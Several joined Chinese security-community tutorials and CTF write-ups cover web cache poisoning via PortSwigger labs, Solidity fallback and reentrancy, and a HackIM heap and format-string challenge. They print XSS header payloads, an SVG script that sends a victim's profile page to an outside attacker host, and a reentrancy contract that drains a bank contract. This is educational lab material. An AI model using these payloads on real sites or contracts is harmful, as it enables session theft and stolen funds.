GPS-SDR-SIM 的项目主页和王康在黑帽大会上的演讲稿. 拥有HackRF设备的朋友也可以看看lxj616写的“劫持GPS定位&劫持WIFI定位”.
0x04 参考文献
1. <https://github.com/osqzss/gps-sdr-sim>
2. <https://en.wikipedia.org/wiki/GPS_signals>
3. “Time and Position Spoofing with Open Source Projects” Kang Wang
4. <http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html> | 社区文章 |
**引言：**
缓存投毒，听起来就是寻找和利用都很困难的一类漏洞利用。但在了解了原理以及实际体验过之后，你会发现，过程很神奇，结果很美好~
这篇文章算是对缓存投毒的一个小总结，以便后面的复习。内容浅尝即止，师傅们轻喷。
文章一共分为以下几个部分：
1. 什么是缓存投毒？
2. 缓存投毒的发现与利用
3. 通过几个实验例子来实践缓存投毒
4. 使用缓存投毒来解CTF题
## 一、什么是缓存投毒？
* 什么是Web缓存：
缓存位于服务器和用户之间，通常在固定的时间内保存（缓存）对特定请求的响应。如果另一个用户在这段时间内发送了同样的请求，则缓存会直接提供响应的副本(缓存)给用户，而无需与服务器直接进行交互。通过减少服务器对重复请求进行处理的次数，来减轻服务器的负担。使用CDN(内容分发网络)就可以达到这样的目的。关于CDN与缓存之间的理解，参考：[CDN与缓存的归纳理解](https://www.cnblogs.com/shamo89/p/9234705.html)
如下图就是同时间的用户访问同一个内容时，获取资源的过程。
那CDN怎么知道用户要访问的是同一个页面呢？(实际上除了CDN还有其他的缓存技术，这里以CDN为例，其他的暂不了解)
当缓存接收到HTTP请求的时候，它会匹配vary头部指定的HTTP
HEADER来进行判断。当指定的头部与缓存中的数据匹配时，则提供缓存的内容。如果不匹配，就直接与服务器交互。这些指定的头部被称作：缓存键 “cache
key”。其他的头部就是非缓存键。
参考：[HTTP请求的响应头部Vary的理解](https://blog.csdn.net/qq_29405933/article/details/84315254)
* 缓存投毒的原理
在web缓存部分我们知道，当一个页面的内容被缓存后，其他用户访问这个页面时会接收到同样的内容。如果在缓存的过程中，存入了有害的内容，比如存入了一个带有XSS
payload的页面。其他用户访问时，就会受到XSS漏洞的攻击。这就是缓存投毒。
那什么情况下可以在缓存中写入一个带有XSS的页面呢？或者说其它对用户有害的内容？
## 二、缓存投毒的发现与利用
这个部分的内容，在参考的文章当中已经有比较完整的步骤描述。大致可以分为以下几个步骤：
1. 判断哪些非缓存键会影响页面内容
任何的缓存投毒都依赖于非缓存键，所以我们在一开始就要判断哪些HTTP头部属于缓存键，哪些不属于。再通过修改或添加HTTP头部来判断哪些头部会引起页面内容的变化。常用的两种方式：
1. 手动修改或添加HTTP头部，指定随机字符来判断头部是否影响页面内容
2. 使用Brupsuite插件[Param Miner](https://github.com/portswigger/param-miner)来自动判断
2. 构造内容引起服务器端的有害响应
针对不同的非缓存键，我们需要知道哪些非缓存键会导致页面返回有害的内容。举一个例子：页面中js链接的域名是通过获取HTTP头部中的“X-Forwarded-Host”字段来设置的。而服务器不会将这个字段作为缓存键，那么这个字段就可以利用。
3. 获取响应，使有害内容被缓存
通过构造有害的内容，访问页面，获取响应。就会将有害的内容存入缓存中。需要注意的是，页面是否会被缓存受到文件扩展名、内容类型、url路由、状态代码和响应标头的影响。在测试的会比较麻烦。
看完上面这几个步骤，应该对投毒的过程有了一个大概的了解。现在我们通过几个实验例子来学习具体的缓存利用方式。这里的实验环境为Brupsuite社区的缓存投毒实验案例。目的都是通过缓存投毒来导致XSS漏洞。
地址：[Web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)
## 三、通过几个实验例子来实践缓存投毒
以下的几个实验过程中，构造了Payload并发送请求之后，都需要等待一段时间才能够解决题目。因为题目后端每分钟会对实验主页进行访问，这时你投毒的缓存才能被后端加载。
### 1、缓存投毒之资源的危险导入
某些网站会使用非缓存键动态生成页面中的url地址，比如说使用HTTP头部中的“X-Forwarded-Host”字段来设置外部托管的Javascript文件的域名(host)。我们可以通过寻找和利用这样的字段来进行缓存投毒。
题目地址：[Lab: Web cache poisoning with an unkeyed
header](https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-with-an-unkeyed-header)
题目目标：插入XSS payload并弹出cookie。即：`alert(document.cookie)`
Hint：这个实验使用了`X-Forwarded-Host`头部
这题比较简单，通过Brupsuite添加一个X-Forwarded-Host，构造一个XSS Payload即可投毒。
`X-Forwarded-Host:
baidu.com"></script><script>alert(document.cookie)</script>`
### 2、缓存投毒之Cookie导致的XSS
当Cookie中的内容回显到页面上并导致XSS，而Cookie字段不属于缓存键时。就可以构造payload进行缓存投毒。
题目地址：[Lab: Web cache poisoning with an unkeyed
cookie](https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-with-an-unkeyed-cookie)
题目目标：插入XSS payload并弹出1。即`alert(1)`
页面中会回显cookie的值到js代码中，构造payload即可弹出1：
`fehost=prod-cache-01"}%3Balert(1)%3Babc={"":"`
### 3、多个Header导致的缓存投毒
上面两个实验都是一个Header中的内容导致的问题。但实际情况会有多个Header配合来进行利用。
题目地址：[Lab: Web cache poisoning with multiple
headers](https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-with-multiple-headers)
题目目标：插入XSS payload并弹出cookie。即：`alert(document.cookie)`
Hint：环境使用了 `X-Forwarded-Host` 和 `X-Forwarded-Scheme` 头部。
通过测试可以发现，如果指定了`X-Forwarded-Scheme`头部内容不为https。则页面会进行302跳转到`https://` \+
`X-Forwarded-Host` 所指定的地址中去。
解决这道题目不能直接对主页进行投毒，而是要对页面中加载的外部js进行投毒。这个环境也给我们提供了一个测试服务，可以在那个页面构造payload进行调用。
* 构造外部js paylaod：
* 对外部js进行投毒
X-Forwarded-Host: ac5c1f171eef4cb380f31bdb01c7000c.web-security-academy.net
X-Forwarded-Scheme: http://
### 4、缓存投毒之内容不唯一的缓存键
当服务器通过vary指定内容不唯一的缓存键时，我们需要先通过一些其他的方式先获取到缓存键，再通过指定这个缓存键的内容来进行投毒。来看实验例子：
题目地址：[Lab: Targeted web cache poisoning using an unknown
header](https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-targeted-using-an-unknown-header)
题目目标：插入XSS payload并弹出cookie。即：`alert(document.cookie)`
这题没有Hint，需要自己去寻找一个特殊的非缓存键。通过使用[Param
Miner](https://github.com/portswigger/param-miner)工具，寻找到了一个`X-Host`字段，可以指定页面的js的域名(host)。(这个点卡了我好久，那个工具扫字段特别慢，我一度以为没有这样的字段。)
在服务器返回的头部中可知，vary字段指定了User-Agent为缓存键，如果我们要给目标用户投毒的话，就必须先知道他的User-Agent。题目中有说明：用户分钟会看主页和文章页面。我们可以通过评论一个图片，将图片中的链接改为收集Header的地址。这样就可以收集到目标用户的Header，再通过指定Header进行投毒。
* 文章评论中置入图片收集User-Agent
收集到的User-Agent：
* 对主页进行投毒
### 5、缓存投毒之DOM型的漏洞(DOM-XSS)
很多网站会通过JS从后端来获取和处理其他数据，如果没有对来自服务器的数据进行严格校验的话，可能会导致基于DOM的漏洞。比如说DOM型的XSS。
题目地址：[Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with
strict cacheability criteria](https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria)
题目目标：插入XSS payload并弹出cookie。即：`alert(document.cookie)`
首先需要通过[Param Miner](https://github.com/portswigger/param-miner)工具寻找一个可利用的字段。页面通过`X-Forwarded-Host`字段来设置data数据中的host字段。这个地段在之后用作json数据的来源的地址。
页面通过这样一段js来获取用户的地区。并且会将json中的数据通过DOM操作的方式写入到页面上。
<script>
initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
处理json的js：
function initGeoLocate(jsonUrl)
{
fetch(jsonUrl)
.then(r => r.json())
.then(j => {
let geoLocateContent = document.getElementById('shipping-info');
let img = document.createElement("img");
img.setAttribute("src", "/resources/images/localShipping.svg");
geoLocateContent.appendChild(img)
let div = document.createElement("div");
div.innerHTML = 'Free shipping to ' + j.country;
geoLocateContent.appendChild(div)
});
}
默认的json数据：
{
"country": "United Kingdom"
}
我们可以通过构造`X-Forwarded-Host`字段来对data.host进行投毒。将js获取的json数据地址指定为我们的恶意地址。恶意内容写入到页面中造成XSS。
* 构造Pyload
{
"country": "<svg onload=alert(document.cookie)>"
}
需要注意的是，恶意服务器上需要设置CORS，不然js获取不了非同源的数据。
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
* 访问页面进行投毒
### 6、多个缓存投毒之间的配合
通过前面5个实验，我们了解到了不同方式的缓存投毒。但有些时候需要我们将多个不同方式的缓存投毒联系起来，互相配合。才能够有效的利用漏洞。
题目地址：[Lab: Combining web cache poisoning
vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-combining-vulnerabilities)
题目目标：插入XSS payload并弹出cookie。即：`alert(document.cookie)`
题目描述：某用户每分钟会通过自己的语言转换给English。
题目简要情况：
1. 用户可以选择指定语言切换页面的语言
2. 语言来自页面中js从后端读取的json数据
3. 选择了语言后会访问/setlang/es接口，设置cookie。
4. 主页中的js通过获取cookie中的值与json的值动态设置页面语言
题目里面的各个重要的点：
1. 通过[Param Miner](https://github.com/portswigger/param-miner)工具可以发现两个可利用的字段。`X-Forwarded-Host`可以指定页面中data.host，后面用作json数据的域名。`X-Original-URL`可以使页面跳转到同域名的指定的url中去。
2. 通过对js处理逻辑的分析，json中的en字段不能插入payload。其他语言可以通过设置"View details"来插入Payload。
3. 两个比较重要的地址：
* /setlang/es 设置语言，返回SetCookie头。
* /?localized=1 设置完语言后所跳转的地址。
解题思路：
第一处投毒：
1. 由于英文(en)不能设置payload，所以我们只能通过设置`X-Original-URL`强行让用户设置为其他类型的语言。
2. 通过设置一种语言中的xsspayload，让用户强行跳转过来
第二处投毒：
1. json数据页面的投毒，让用户读取到恶意的带有xss payload的数据。
解题：
* 投毒主页让用户强行跳转到cn语言中
这里有个Trick就是`X-Original-URL`字段要设置为`/setlang\cn`，而不是`/setlang/cn`。这是因为后者跳转过去会有`Set-Cookie`字段，导致页面无法缓存。前者浏览器要先经过一个处理——将`\`转换为`/`。就不会有`Set-Cookie`字段了
* 投毒/?localized=1 页面让用户读取到恶意数据
恶意数据的Header：
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
恶意json数据：
{
"en": {
"name": "English"
},
"cn": {
"name": "a",
"translations": {
"Return to list": "123",
"View details": "<svg onload=alert(document.cookie)>",
"Description:": "456"
}
}
}
可以使用Brupsuite持续的向这两个页面发送数据进行投毒，不然的话后端可能会访问不到。
## 四、使用缓存投毒来解CTF题
打算整理缓存投毒是因为这篇文章：[通过一道题了解缓存投毒和SVG XSS](https://xz.aliyun.com/t/4492)
这个CTF题也是文章里面的内容。我这里只记录一下简要的解题过程。
题目地址：<http://web50.zajebistyc.tf/>
### 正常解题
构造SVG XSS Payload上传到服务器，将图片地址发送给管理员即可获得Flag。(<http://***/是自己的vps地址>)
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>
fetch("/profile").then(function (e) {
e.text().then(function (f) {
console.log(btoa(f));
fetch("http://***/?" + btoa(f))
})
})
</script>
</svg>
更简短的payload，通过正则匹配源码中的secret：
fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src='//avlidienbrunn.se/?'+/secret(.*)>/.exec(f)[0]})})
### 缓存投毒方式
这种方式比前面的要复杂，能够这样解题的原因有以下几点：
1. 题目使用了cloudflare来作CDN缓存，会对js、img这类静态文件进行缓存
2. 题目运行你设置任意的文件名，且个人信息页面为名称结尾。例如，我将文件名设置为Smi1e.js，则个人信息页面就是/profile/Smi1e.js。CDN会将其缓存
3. 个人信息页面的鞋码处存在XSS
通过这几点就很容易构造出缓存投毒的payload，但是之前在缓存部分我们知道，缓存受到地区的限制，不同地区不会访问到同一个缓存。在构造和利用这个缓存投毒时，我们需要购买一个与题目环境相对应的服务器进行利用。这里就直接看下别人的exp吧：<https://ctftime.org/writeup/13925>
整个exp利用的步骤如下：
1. 页面上的 shoesize处存在xss，构造一个利用的数据包。
2. 注册一个以.js的用户名
3. 发送构造的数据包
4. 访问/profile/name.js页面
5. report地址
需要注意的是在这个题目环境当中，vary字段中的Cookie并没有生效。原因：
_理论上来说，网站可以使用“Vary”响应头来指定额外应该加入到缓存键中的其他请求头。在实践中，对Vary响应头的使用仅停留在理论阶段，像Cloudflare这样的CDN完全忽略它，大家甚至没有意识到他们的应用程序支持任何基于请求头的输入。
——<https://www.anquanke.com/post/id/156356>_
## 参考
* [实战Web缓存投毒（上）](https://www.anquanke.com/post/id/156356)
* [实战Web缓存投毒（下）](https://www.anquanke.com/post/id/156551)
* [通过一道题了解缓存投毒和SVG XSS](https://xz.aliyun.com/t/4492)
* [Web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning) | 社区文章 |
### 一、前言部分
在以太坊中使用Solidity编写智能合约的过程中会由于机制的问题而导致各种各样的问题出现。我们都知道，越是简单的函数，越是使用方便那么越会使开发人员对其掉以轻心。而这些方便的函数又会在开发的过程中被大量使用，也就意味着倘若它们存在某些机制上的问题，那么带来的影响是十分巨大的。
而在本章中，我们主要介绍两个函数的漏洞详情，`Fackback()`以及`Tx.Origin`。而在合约的编写过程中，这两个函数的使用频率是非常高的。例如第一个函数，由于它的机制所在，所以它在部署转账函数的时候是必须存在的。这也就意味着在转账的过程中会存在着安全隐患。由于转账又是黑客所攻击的最终目标，所以这个函数机制的安全性可想而知。
下面，我们就针对这两个函数的具体内容进行介绍，并给出相关实例进行赛题分析。
### 二、函数介绍
#### 1 Fallback()函数
想要了解一个函数的安全性，那么我们就必须要了解它是如何运行的，存在哪些底层的机制。所以这里我们首先对该`Fackback()`进行分析。搞清它具体的利用场景以及特点。
在分析一个函数的时候，我们首先要学会分析它的文档。
具体官方文档见[Fallback
Function](https://solidity.readthedocs.io/en/latest/contracts.html?highlight=fallback#fallback-function)。
对于每一个合约来说，它都会有一个没用名字的函数。这个函数不需要声明、不需要拥有参数、不需要拥有返回值。除此之外，它需要外部可见才行。下面我们可以看一个简单的例子：
pragma solidity ^0.4.0;
contract SimpleFallback{
function(){
//fallback function
}
}
函数就如同上面的模样。
那我们就有了一些疑问。这个函数什么时候会被调用呢？
首先我们来看下面的合约：
pragma solidity ^0.4.23;
contract ExecuteFallback{
//回退事件，会把调用的数据打印出来
event FallbackCalled(bytes data);
//fallback函数，注意是没有名字的，没有参数，没有返回值的
function(){
FallbackCalled(msg.data);
}
//调用已存在函数的事件，会把调用的原始数据，请求参数打印出来
event ExistFuncCalled(bytes data, uint256 para);
//一个存在的函数
function existFunc(uint256 para){
ExistFuncCalled(msg.data, para);
}
// 模拟从外部对一个存在的函数发起一个调用，将直接调用函数
function callExistFunc(){
bytes4 funcIdentifier = bytes4(keccak256("existFunc(uint256)"));
this.call(funcIdentifier, uint256(1));
}
//模拟从外部对一个不存在的函数发起一个调用，由于匹配不到函数，将调用回退函数
function callNonExistFunc(){
bytes4 funcIdentifier = bytes4(keccak256("functionNotExist()"));
this.call(funcIdentifier);
}
}
在上面的代码中，我们可以发现其中拥有函数`existFunc ()`，并且拥有`callExistFunc
()`对其进行调用。除此之外，为了模拟对一个不存在函数的调用，我们部署了`callNonExistFunc
()`函数，来调用不存在的`functionNotExist()`。部署如下：
之后，我们首先调用存在函数：`callExistFunc ()`。我们看到：
[
{
"from": "0x692a70d2e424a56d2c6c27aa97d1a86395877b3a",
"topic": "0xb776d49293459725ca7d6a5abc60e389d2f3d067d4f028ba9cd790f696599846",
"event": "ExistFuncCalled",
"args": {
"0": "0x42a788830000000000000000000000000000000000000000000000000000000000000001",
"1": "1",
"data": "0x42a788830000000000000000000000000000000000000000000000000000000000000001",
"para": "1",
"length": 2
}
}
]
看到log日志中的`data`值为`0x42a78883000000000000000000....`。
**（这里使用的是event事件，专门用于快速返回log值的）** 。
其中第一个数据是调用该函数时，传过来的原始数据，前四个字节`42a78883`，是`existFunc()`的方法签名，指明是对该函数进行调用，紧跟其后的是函数的第一个参数`0000000000000000000000000000000000000000000000000000000000000001`，表示的是uin256值1。
之后我们调用方法`callNonExistFunc ()`，得到图如下：
[
{
"from": "0x692a70d2e424a56d2c6c27aa97d1a86395877b3a",
"topic": "0x17c1956f6e992470102c5fc953bf560fda31fabee8737cf8e77bdde00eb5698d",
"event": "FallbackCalled",
"args": {
"0": "0x69774a91",
"data": "0x69774a91",
"length": 1
}
}
]
而这里我们能够发现Event--`FallbackCalled()`被调用了。也就是意味着
function(){
FallbackCalled(msg.data);
}
被系统执行。除此之外，当我们调用的函数找不到时才会触发对fallback函数的自动调用。当调用`callNonExistFunc()`，由于它调用的`functionNotExist()`函数在合约中实际并不存在。故而，实际会触发对fallback函数的调用，运行后会触发`FallbackCalled`事件，说明fallback被调用了。事件输出的数据是，`FallbackCalled[
"0x69774a91"]`，0x69774a91是调用的原始数据，是调用的`functionNotExist()`函数的四字节的函数签名。
总结来说， **当调用的函数找不到时，就会调用默认的fallback函数** 。
那此处还有别的途径来调用回调函数吗？
答案是有的，根据我们前言部分所说，`Fallback`函数与转账函数有莫大的关系。所以当我们使用`address.send(ether to
send)`向某个合约直接转帐时，由于这个行为没有发送任何数据，所以接收合约总是会调用fallback函数，我们来看看下面的例子：
pragma solidity ^0.4.0;
contract FallbackTest{
event fallbackEvent(bytes data);
function() payable{fallbackEvent(msg.data);}
function deposit() payable returns (bool){
return this.send(msg.value);
}
//查询当前的余额
function getBalance() constant returns(uint){
return this.balance;
}
event SendEvent(address to, uint value, bool result);
//使用send()发送ether，观察会触发fallback函数
function sendEther(){
bool result = this.send(1);
SendEvent(this, 1, result);
}
}
在合约部署中，我们在`sendEther()`函数中部署了`send()`转账函数。而根据我们的概念了解，当合约进行此函数调用时，会由于行为没有发送任何数据所以调用回调函数。那我们进行测试：
在上述的代码中，我们先要使用`deposit()`合约存入一些ether，否则由于余额不足，调用`send()`函数将报错。存入ether后，我们调用`sendEther()`，使用`send()`向合约发送数据。
所以`send()`函数会调用fallback，我们就知道这样的话会默认执行很多函数。倘若合约编写人员没有严格书写内容，则会导致安全事件。这个行为非常危险，著名的DAO被黑也与这有关。如果我们在分红时，对一系列帐户进行`send()`操作，其中某个做恶意帐户中的`fallback`函数实现了一个无限循环，将因为gas耗尽，导致所有`send()`失败。为解决这个问题，send()函数当前即便gas充足，也只会附带限定的2300gas，故而fallback函数内除了可以进行日志操作外，你几乎不能做任何操作。
简单来讲：
* 调用递归深度不能超过1024
* 如果gas不够，那么执行会失败
* 使用这个方法要检查成功与否
* transfer相对send较为安全
### 二、漏洞详情与CTF题目例子
如果调用者调用一个不存在的函数时，fallback函数仍然可以使用。倘若你需要执行fallback函数为了取出以太币，那么你需要添加判断条件：`require(msg.data.length
== 0)`以防止不合法的请求。
倘若合约直接使用send或者transfer进行对以太币的提取并且没有定义fallback函数的话，那么系统会抛出异常并归还以太币。所以我们在部署的合约中进行转账操作时需要添加fallback函数的编写。
下面，我们就针对fallback函数来分析一下实例中存在的题目。
#### 1 实例题目
假设我们现在需要一个以太坊功能平台，这个平台的功能类似于金库。你只能在一天内取一次钱，并且取钱的金额有一定的限度。那么我们的合约应该是如何的呢？
pragma solidity ^0.4.23;
contract BankStore {
//分别表示金额上限、存储取钱时间、存储金额
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
//传入取钱金额
function withdrawFunds (uint256 _weiToWithdraw) public {
// 需要用户金额大于所需提取金额、需要提取金额不能超过限度、需要距离上次提取时间大于一周
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 days);
//使用call函数执行转账操作，向msg.sender转账_weiToWithdraw以太币
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
该合约有两个公共职能。`depositFunds()` 和 `withdrawFunds()`。该
`depositFunds()`功能只是增加发件人余额。该 withdrawFunds() 功能允许发件人指定要取出的以太币的数量。如果所要求的退出金额小于
1Ether 并且在一天内发生取出，它才会成功。
我们现在来分析一下这个合约。在介绍攻击方法前，我们需要看一下一些基础概念：
当你通过`addr.call.value()()`的方式发送ether时，和`send()`一样，fallback函数会被调用，但是传递给`fallback`函数可用的气是当前剩余的所有气（可能会是很多），这时`fallback`函数可以做的事情就有很多（如写`storage`、再次调用新的智能合约等等）。一个精心设计的用于做恶的`fallback`可以做出很多危害系统的事情。
而对于一个指定合约地址的 call 调用，可以调用该合约下的任意函数。在这个例子中，会调用攻击合约的`fallback()`函数。
而我们在这里放入攻击合约：
contract Attack {
EtherStore public etherStore;
// 初始化合约代码
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function attackStore() public payable {
// 调用存钱函数，使改账户在银行中存部分钱
etherStore.depositFunds.value(1 ether)();
// 攻击重点所在
etherStore.withdrawFunds(1 ether);
}
// fallback 函数
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
下面我们来具体的分析下攻击是如何产生的。
* 首先，我们需要初始化BankStore合约，传入参数并实例化`etherStore`。
* 之后我们在攻击合约界面中调用`attackStore()`。首先我们需要在`BankStore`合约变量中存入1个以太币（因为只有存钱了才能取钱）。
* 然后调用`therStore.withdrawFunds(1 ether)`函数，此函数用于调用`BankStore`合约中的取钱函数。而在本函数中我们能够看到：
// 需要用户金额大于所需提取金额、需要提取金额不能超过限度、需要距离上次提取时间大于一周
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 days);
* 而我们存过部分钱（有可能之前也存过许多钱，所以我们可以假设这里有100Eth）、而且我们只取了1eth，所以也满足第二个条件、而且我们这是第一次调用，所以没有超过一天，所以也满足第三个条件。
* 然而根据我们上面介绍，当我们调用`BankStore`合约中`withdrawFunds()`函数时，会执行`msg.sender.call.value(_weiToWithdraw)()`。而我们知道，`call()`函数调用的时候会运行调用函数方（攻击者合约）的`fallback()`函数。即
unction () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
* 此时又会执行`etherStore.withdrawFunds(1 ether);`。而我们发现其三个`require()`仍然满足（因为它把修改条件放到了msg.sender.call.value(_weiToWithdraw)()后面）：
* 之后子子孙孙无穷尽。一直递归调用转账，从而达到了绕过那些判断条件的情况。
* 停止时要看：回调函数中的`if (etherStore.balance > 1 ether)`。当你的合约中的余额不足1以太币的时候，那就停止递归调用了。emmmm可怕
**最终的结果是，攻击者只用一笔交易，便立即从 BankStore 合约中取出了（除去 1 个 Ether 以外）所有的 Ether。**
#### 2 竞赛题目
下面，我们看一道竞赛题目：
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
大致分析题目后我们得知，这个题目的目的有两个：
即让我们成为合约的owner并且将账户的金额转账为0。
针对合约内容我们分析：想要成为owner，我们能够发现在底部有个函数：
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
这个函数就是我们文章中一直提及的`fallback()`函数。所以我们调用send函数进行转账就可以调用。但是在调用之前，我们需要领自己的合约中有钱才行。
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
在这个函数中我们知道，我们可以通过这个函数不断的取钱，并且当
`contributions[msg.sender] >
contributions[owner]`（自己的钱大于系统的钱时）就可以成为合约owner。然而，上面限制了我们转账的次数。我们只可以一次转账0.001个以太币。所以要很久才能够满足这个条件，所以放弃。
于是我们考虑方法一。所以我们首先先给自己的账户中转点钱进去：
之后我们确认Tx。
得到：
此时我们查看我们的账户钱财：
里面有1个钱币。
之后我们进行转账：
在转账函数调用后，会自动调用fallback函数。此时我们查看合约的owner：
成功的改变了owner为自己。之后我们调用转账函数：
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
之后我们将合约提交，能够看到我们已经满足题目要求。
### 三、参考链接
* <https://solidity.readthedocs.io/en/latest/contracts.html?highlight=fallback#fallback-function>
* <http://me.tryblockchain.org/blockchain-solidity-fallback.html>
* <https://www.sohu.com/a/126951493_104036>
* <https://ethernaut.zeppelin.solutions>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# HackIMshop的解析及学习
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
正逢新年佳节之际，在准备除夕菜单闲暇之时，正好看到了nullconHackIm这个比赛，从着”就看一眼”的真香原则，去看了一两题pwn题，结果发现个挺有意思也挺有帮助新手学习pwn题中如何用ida逆向出好看的结构体的题，故记录一下相关的内容。
## hackimshop
➜ hackimshop checksec challenge
[*] '/home/Ep3ius/CTF/pwn/process/2019HackIM/hackimshop/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ida打开来看一下就能知道这是一个常规的菜单题，当然这里先是要讲怎么去建立结构体来让题目反编译看的更舒服，所以就选用book建立功能的函数来讲解，先是ida直接反编译的结果
void add_book()
{
__int64 v0; // rbx
__int64 v1; // rbx
int i; // [rsp+Ch] [rbp-34h]
__int64 v3; // [rsp+10h] [rbp-30h]
unsigned __int64 size; // [rsp+18h] [rbp-28h]
if ( num_books == 16 )
{
puts("Cart limit reached!");
}
else
{
v3 = malloc(0x38uLL);
printf("Book name length: ");
size = readint();
if ( size <= 0xFF )
{
printf("Book name: ");
*(v3 + 8) = malloc(size);
read(0, *(v3 + 8), size);
v0 = *(v3 + 8);
if ( *(v0 + strlen(*(v3 + 8)) - 1) == 'n' )
{
v1 = *(v3 + 8);
*(v1 + strlen(*(v3 + 8)) - 1) = 0;
}
printf("Book price: ");
*(v3 + 16) = readint();
for ( i = 0; books[i]; ++i )
;
books[i] = v3;
*books[i] = i;
++num_books;
strcpy(books[i] + 24, cp_stmt);
}
else
{
puts("Too big!");
}
}
}
一堆`*(v3+8)` ，`*(v3+16)`什么的我看的是挺头疼的，所以我先把这些结构体还原的样子贴出来一下
void add_book()
{
char *v0; // rbx
char *v1; // rbx
int i; // [rsp+Ch] [rbp-34h]
book *newbook; // [rsp+10h] [rbp-30h]
unsigned __int64 size; // [rsp+18h] [rbp-28h]
if ( num_books == 16 )
{
puts("Cart limit reached!");
}
else
{
newbook = malloc(0x38uLL);
printf("Book name length: ");
size = readint();
if ( size <= 0xFF )
{
printf("Book name: ");
newbook->name = malloc(size);
read(0, newbook->name, size);
v0 = newbook->name;
if ( v0[strlen(newbook->name) - 1] == 'n' )
{
v1 = newbook->name;
v1[strlen(newbook->name) - 1] = 0;
}
printf("Book price: ");
newbook->price = readint();
for ( i = 0; books[i]; ++i )
;
books[i] = newbook;
books[i]->idx = i;
++num_books;
strcpy(books[i]->copy, cp_stmt);
}
else
{
puts("Too big!");
}
}
}
这样是不是看起来就很舒服了，这题的结构体挺简单的很适合新手上路，所以先简单的讲一下ida如何还原原来的结构体
首先我们`shift+F1`打开结构体定义的界面，接着`右键insert`插入一个新建立的也就是ida没还原但能看出来的结构体，大概长得像下面这个一样
strcut book
{
unsigned __int64 idx;
char *name;
unsigned __int64 price;
char copy[25]
}
至于为什么是这样建的，你可能c语言基础要扎实点知道在这个环境下int类型占几字节，指针占几字节这样的预备知识，而上面的结构体就是我做这题时用的结构体，建完以后到对应的变量右键选择`convert
to struct *`选择刚建的结构体就能看到舒服至极的反编译了
接着我们看题目，在审计的过程中，首先能发现`remove_book`中free book后未清空book里的内容，这会造成UAF漏洞
void remove_book()
{
unsigned __int64 idx; // [rsp+8h] [rbp-8h]
printf("Book index: ");
idx = readint();
if ( num_books > idx )
{
free(books[idx]->name);
free(books[idx]);
--num_books;
}
else
{
puts("Invalid index");
}
}
接着从`view_book`中可以很容易的发现在printf copyright时如果我们能控制copyright的内容，就可以产生一个格式化字符串漏洞
void view_books()
{
unsigned __int64 v0; // ST08_8
signed int i; // [rsp+4h] [rbp-Ch]
puts("{");
puts("t"Books" : [");
for ( i = 0; i <= 15; ++i )
{
if ( books[i] )
{
v0 = books[i]->idx;
puts("tt{");
printf("ttt"index": %ld,n", v0);
printf("ttt"name": "%s",n", books[i]->name);
printf("ttt"price": %ld,n", books[i]->price);
printf("ttt"rights": "");
printf(books[i]->copy); // fmt atk!!
puts(""");
if ( books[i + 1] )
puts("tt},");
else
